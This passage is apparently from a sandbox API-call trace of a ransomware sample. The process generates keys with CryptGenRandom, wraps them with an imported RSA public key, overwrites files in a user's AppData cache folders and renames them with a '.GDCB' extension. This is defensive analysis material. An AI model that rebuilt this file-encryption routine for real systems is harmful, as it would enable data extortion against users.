szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0205.461] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0990) returned 1 [0205.461] CryptGetKeyParam (in: hKey=0x50d0990, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.461] CryptEncrypt (in: hKey=0x50d0990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.461] GetLastError () returned 0x0 [0205.461] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.461] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_sr.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.463] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b80000 [0205.464] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b90000 [0205.465] ReadFile (in: hFile=0x510, lpBuffer=0x6b90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b90000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.474] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6ca0000 [0205.476] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6cb0000 [0205.477] VirtualFree (lpAddress=0x6ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.478] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.478] WriteFile (in: hFile=0x510, lpBuffer=0x6cb0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6cb0000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.478] VirtualFree (lpAddress=0x6cb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.479] VirtualFree (lpAddress=0x6b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.482] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.482] WriteFile (in: hFile=0x510, lpBuffer=0x6b70000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.482] WriteFile (in: hFile=0x510, lpBuffer=0x6b80000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b80000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.482] CloseHandle (hObject=0x510) returned 1 [0205.483] VirtualFree (lpAddress=0x6b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.484] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.485] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.486] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_sr.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_sr.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_sr.db.gdcb")) returned 1 [0205.491] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.492] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.493] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.493] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.493] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.493] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0205.495] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.496] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.496] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.496] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.496] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.498] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0e50) returned 1 [0205.498] CryptGetKeyParam (in: hKey=0x50d0e50, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.498] CryptEncrypt (in: hKey=0x50d0e50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.498] GetLastError () returned 0x0 [0205.499] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.499] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.501] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0e10) returned 1 [0205.501] CryptGetKeyParam (in: hKey=0x50d0e10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.501] CryptEncrypt (in: hKey=0x50d0e10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.501] GetLastError () returned 0x0 [0205.501] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.501] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_wide.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_wide.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.503] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b80000 [0205.504] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b90000 [0205.505] ReadFile (in: hFile=0x510, lpBuffer=0x6b90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b90000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.514] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6ca0000 [0205.515] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6cb0000 [0205.516] VirtualFree (lpAddress=0x6ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.517] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.517] WriteFile (in: hFile=0x510, lpBuffer=0x6cb0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6cb0000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.517] VirtualFree (lpAddress=0x6cb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.518] VirtualFree (lpAddress=0x6b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.522] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.522] WriteFile (in: hFile=0x510, lpBuffer=0x6b70000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.522] WriteFile (in: hFile=0x510, lpBuffer=0x6b80000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b80000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.522] CloseHandle (hObject=0x510) returned 1 [0205.522] VirtualFree (lpAddress=0x6b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.523] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.524] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.525] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_wide.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_wide.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_wide.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_wide.db.gdcb")) returned 1 [0205.529] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0205.531] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.532] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.532] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.532] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.532] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0205.533] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.534] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.534] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.534] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.534] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0205.537] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0850) returned 1 [0205.537] CryptGetKeyParam (in: hKey=0x50d0850, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.537] CryptEncrypt (in: hKey=0x50d0850, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.537] GetLastError () returned 0x0 [0205.537] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.537] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.539] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0f90) returned 1 [0205.539] CryptGetKeyParam (in: hKey=0x50d0f90, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.539] CryptEncrypt (in: hKey=0x50d0f90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.539] GetLastError () returned 0x0 [0205.539] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.539] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_wide_alternate.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_wide_alternate.db"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0205.541] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6b80000 [0205.542] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6b90000 [0205.543] ReadFile (in: hFile=0x510, lpBuffer=0x6b90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6b90000*, lpNumberOfBytesRead=0x285d670*=0x18, lpOverlapped=0x0) returned 1 [0205.552] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6ca0000 [0205.554] VirtualAlloc (lpAddress=0x0, dwSize=0x20, flAllocationType=0x3000, flProtect=0x4) returned 0x6cb0000 [0205.555] VirtualFree (lpAddress=0x6ca0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.556] SetFilePointer (in: hFile=0x510, lDistanceToMove=-24, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0205.556] WriteFile (in: hFile=0x510, lpBuffer=0x6cb0000*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6cb0000*, lpNumberOfBytesWritten=0x285d668*=0x20, lpOverlapped=0x0) returned 1 [0205.556] VirtualFree (lpAddress=0x6cb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.557] VirtualFree (lpAddress=0x6b90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.560] WriteFile (in: hFile=0x510, lpBuffer=0x6b60000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b60000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.560] WriteFile (in: hFile=0x510, lpBuffer=0x6b70000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b70000*, lpNumberOfBytesWritten=0x285d668*=0x100, lpOverlapped=0x0) returned 1 [0205.560] WriteFile (in: hFile=0x510, lpBuffer=0x6b80000*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x285d668, lpOverlapped=0x0 | out: lpBuffer=0x6b80000*, lpNumberOfBytesWritten=0x285d668*=0x10, lpOverlapped=0x0) returned 1 [0205.560] CloseHandle (hObject=0x510) returned 1 [0205.561] VirtualFree (lpAddress=0x6b80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.562] VirtualFree (lpAddress=0x6b60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.563] VirtualFree (lpAddress=0x6b70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0205.564] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_wide_alternate.db" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_wide_alternate.db"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\Explorer\\thumbcache_wide_alternate.db.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\explorer\\thumbcache_wide_alternate.db.gdcb")) returned 1 [0205.609] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.611] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.612] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.612] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0205.612] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.612] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0205.614] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.614] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.614] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0205.614] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.615] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0205.617] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d09d0) returned 1 [0205.617] CryptGetKeyParam (in: hKey=0x50d09d0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.617] CryptEncrypt (in: hKey=0x50d09d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b60000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6b60000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0205.617] GetLastError () returned 0x0 [0205.617] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0205.617] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4540) returned 1 [0205.619] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x50d0a10) returned 1 [0205.619] CryptGetKeyParam (in: hKey=0x50d0a10, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0205.619] CryptEncrypt (in: hKey=0x50d0a10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b70000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6b70000*, pdwDataLen=0x285d630*=0x100) returned 1 [0205.619] GetLastError () returned 0x0 [0205.619] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0205.619] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\counters.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0205.633] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.635] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.636] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.636] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0205.636] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.636] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0205.637] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0205.638] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0205.638] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0205.638] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0205.638] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4980) returned 1 [0205.640] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d0b50) returned 1 [0205.641] CryptGetKeyParam (in: hKey=0x50d0b50, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.641] CryptEncrypt (in: hKey=0x50d0b50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b80000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6b80000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0205.641] GetLastError () returned 0x0 [0205.641] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0205.641] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0205.643] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x50d0b90) returned 1 [0205.643] CryptGetKeyParam (in: hKey=0x50d0b90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0205.643] CryptEncrypt (in: hKey=0x50d0b90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6b90000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6b90000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0205.643] GetLastError () returned 0x0 [0205.643] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0205.643] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\Windows\\INetCache\\Low\\SmartScreenCache.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\windows\\inetcache\\low\\smartscreencache.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0205.645] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6ba0000 [0205.646] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6bb0000 [0205.647] ReadFile (in: hFile=0x514, lpBuffer=0x6bb0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x6bb0000*, lpNumberOfBytesRead=0x285d3e8*=0x1e4b0, lpOverlapped=0x0) returned 1 [0205.656] VirtualAlloc 